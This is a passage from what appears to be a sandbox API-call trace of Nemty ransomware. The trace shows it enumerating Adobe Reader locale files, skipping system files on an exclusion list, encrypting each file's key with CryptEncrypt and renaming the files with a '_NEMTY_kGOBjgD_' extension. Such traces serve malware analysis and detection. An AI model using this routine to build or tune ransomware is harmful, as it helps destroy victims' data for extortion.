10.0\\reader\\locale\\uk_ua\\ppklite.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.514] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=521728) returned 1 [0185.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0185.514] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.514] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0185.523] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.523] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0185.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.524] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=521728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f600 [0185.524] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.525] CloseHandle (hObject=0x2e8) returned 1 [0185.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.526] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\PPKLITE.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\ppklite.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\PPKLITE.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\ppklite.ukr._nemty_kgobjgd_")) returned 1 [0185.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.526] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807571a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14d800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.UKR", cAlternateFileName="")) returned 1 [0185.526] lstrcmpiW (lpString1="RdLang32.UKR", lpString2=".") returned 1 [0185.526] lstrcmpiW (lpString1="RdLang32.UKR", lpString2="..") returned 1 [0185.526] lstrcmpiW (lpString1="RdLang32.UKR", lpString2="...") returned 1 [0185.527] lstrcmpiW (lpString1="RdLang32.UKR", lpString2="windows") returned -1 [0185.527] lstrcmpiW (lpString1="RdLang32.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.527] lstrcmpiW (lpString1="RdLang32.UKR", lpString2="rsa") returned -1 [0185.527] lstrcmpiW (lpString1="RdLang32.UKR", lpString2="NTDETECT.COM") returned 1 [0185.527] lstrcmpiW (lpString1="RdLang32.UKR", lpString2="ntldr") returned 1 [0185.527] lstrcmpiW (lpString1="RdLang32.UKR", lpString2="MSDOS.SYS") returned 1 [0185.527] lstrcmpiW (lpString1="RdLang32.UKR", lpString2="IO.SYS") returned 1 [0185.527] lstrcmpiW (lpString1="RdLang32.UKR", lpString2="boot.ini") returned 1 [0185.527] lstrcmpiW (lpString1="RdLang32.UKR", lpString2="boot.ini") returned 1 [0185.527] lstrcmpiW (lpString1="RdLang32.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0185.527] lstrcmpiW (lpString1="RdLang32.UKR", lpString2="ntuser.dat") returned 1 [0185.527] lstrcmpiW (lpString1="RdLang32.UKR", lpString2="desktop.ini") returned 1 [0185.527] lstrcmpiW (lpString1="RdLang32.UKR", lpString2="CONFIG.SYS") returned 1 [0185.527] lstrcmpiW (lpString1="RdLang32.UKR", lpString2="RECYCLER") returned -1 [0185.527] lstrcmpiW (lpString1="RdLang32.UKR", lpString2="BOOTSECT.BAK") returned 1 [0185.527] lstrcmpiW (lpString1="RdLang32.UKR", lpString2="bootmgr") returned 1 [0185.527] lstrcmpiW (lpString1="RdLang32.UKR", lpString2="programdata") returned 1 [0185.527] lstrcmpiW (lpString1="RdLang32.UKR", lpString2="appdata") returned 1 [0185.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.UKR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.UKR", lpUsedDefaultChar=0x0) returned 12 [0185.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.UKR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.UKR", lpUsedDefaultChar=0x0) returned 12 [0185.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.UKR", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.UKR", lpUsedDefaultChar=0x0) returned 12 [0185.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.UKR", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.UKR", lpUsedDefaultChar=0x0) returned 12 [0185.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.528] Sleep (dwMilliseconds=0x5) [0185.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x223b0590, dwHighDateTime=0x1d561e8)) [0185.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x223b0590, dwHighDateTime=0x1d561e8)) [0185.529] GetLastError () returned 0x0 [0185.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.529] GetLastError () returned 0x0 [0185.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.529] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.529] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.529] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.529] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="CbrB6rJG5QI3o8qOp1GMqBsVnFOBydraQLM1InkCrVc8vjIt1qBGb6tjLtetqJqC\r\ni/hC7tuOB8mz1Ta7/K85c7PNomb+ZrBmT73e4KThtRRH88ttQNNHphReLCzcvqon\r\nNrQW0DI7EcMbWOBiodT/fQmzfjAixGcGWFftrs4TLEB1Op2tHpAJuW5HzKIj/tLH\r\n3LkHyowxGcl8/66//6G1bMENbVbTv4JMFf8FAO1gHzIN0E5CZ8lj7ENvX+UHa9+h\r\n4BCZO2lY0zMYHn+eF/b271iYIXDVE8oR36yrsZ5O98Kn2KYsx/rtfOGikmJqVPH8\r\nWlyeI4ZkoEGEzdzQtabtbw==\r\n", pcchString=0x653e5dc) returned 1 [0185.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.529] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.529] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.529] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\RdLang32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\rdlang32.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.530] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1366016) returned 1 [0185.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0185.530] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.530] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0185.542] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.542] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0185.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.542] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=1366016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14d800 [0185.542] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.544] CloseHandle (hObject=0x2e8) returned 1 [0185.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.544] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\RdLang32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\rdlang32.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\RdLang32.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\rdlang32.ukr._nemty_kgobjgd_")) returned 1 [0185.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.547] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.547] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.UKR", cAlternateFileName="READOU~1.UKR")) returned 1 [0185.547] lstrcmpiW (lpString1="ReadOutLoud.UKR", lpString2=".") returned 1 [0185.547] lstrcmpiW (lpString1="ReadOutLoud.UKR", lpString2="..") returned 1 [0185.547] lstrcmpiW (lpString1="ReadOutLoud.UKR", lpString2="...") returned 1 [0185.547] lstrcmpiW (lpString1="ReadOutLoud.UKR", lpString2="windows") returned -1 [0185.548] lstrcmpiW (lpString1="ReadOutLoud.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.548] lstrcmpiW (lpString1="ReadOutLoud.UKR", lpString2="rsa") returned -1 [0185.548] lstrcmpiW (lpString1="ReadOutLoud.UKR", lpString2="NTDETECT.COM") returned 1 [0185.548] lstrcmpiW (lpString1="ReadOutLoud.UKR", lpString2="ntldr") returned 1 [0185.548] lstrcmpiW (lpString1="ReadOutLoud.UKR", lpString2="MSDOS.SYS") returned 1 [0185.548] lstrcmpiW (lpString1="ReadOutLoud.UKR", lpString2="IO.SYS") returned 1 [0185.548] lstrcmpiW (lpString1="ReadOutLoud.UKR", lpString2="boot.ini") returned 1 [0185.548] lstrcmpiW (lpString1="ReadOutLoud.UKR", lpString2="boot.ini") returned 1 [0185.548] lstrcmpiW (lpString1="ReadOutLoud.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0185.548] lstrcmpiW (lpString1="ReadOutLoud.UKR", lpString2="ntuser.dat") returned 1 [0185.548] lstrcmpiW (lpString1="ReadOutLoud.UKR", lpString2="desktop.ini") returned 1 [0185.548] lstrcmpiW (lpString1="ReadOutLoud.UKR", lpString2="CONFIG.SYS") returned 1 [0185.548] lstrcmpiW (lpString1="ReadOutLoud.UKR", lpString2="RECYCLER") returned -1 [0185.548] lstrcmpiW (lpString1="ReadOutLoud.UKR", lpString2="BOOTSECT.BAK") returned 1 [0185.548] lstrcmpiW (lpString1="ReadOutLoud.UKR", lpString2="bootmgr") returned 1 [0185.548] lstrcmpiW (lpString1="ReadOutLoud.UKR", lpString2="programdata") returned 1 [0185.548] lstrcmpiW (lpString1="ReadOutLoud.UKR", lpString2="appdata") returned 1 [0185.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.UKR", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0185.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.UKR", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.UKR", lpUsedDefaultChar=0x0) returned 15 [0185.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.UKR", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0185.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.UKR", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.UKR", lpUsedDefaultChar=0x0) returned 15 [0185.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.UKR", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0185.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.UKR", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.UKR", lpUsedDefaultChar=0x0) returned 15 [0185.548] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.548] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.UKR", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0185.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.UKR", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.UKR", lpUsedDefaultChar=0x0) returned 15 [0185.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.549] Sleep (dwMilliseconds=0x5) [0185.560] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x223fc850, dwHighDateTime=0x1d561e8)) [0185.560] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x223fc850, dwHighDateTime=0x1d561e8)) [0185.560] GetLastError () returned 0x0 [0185.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.560] GetLastError () returned 0x0 [0185.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.560] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.560] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.560] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.560] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: 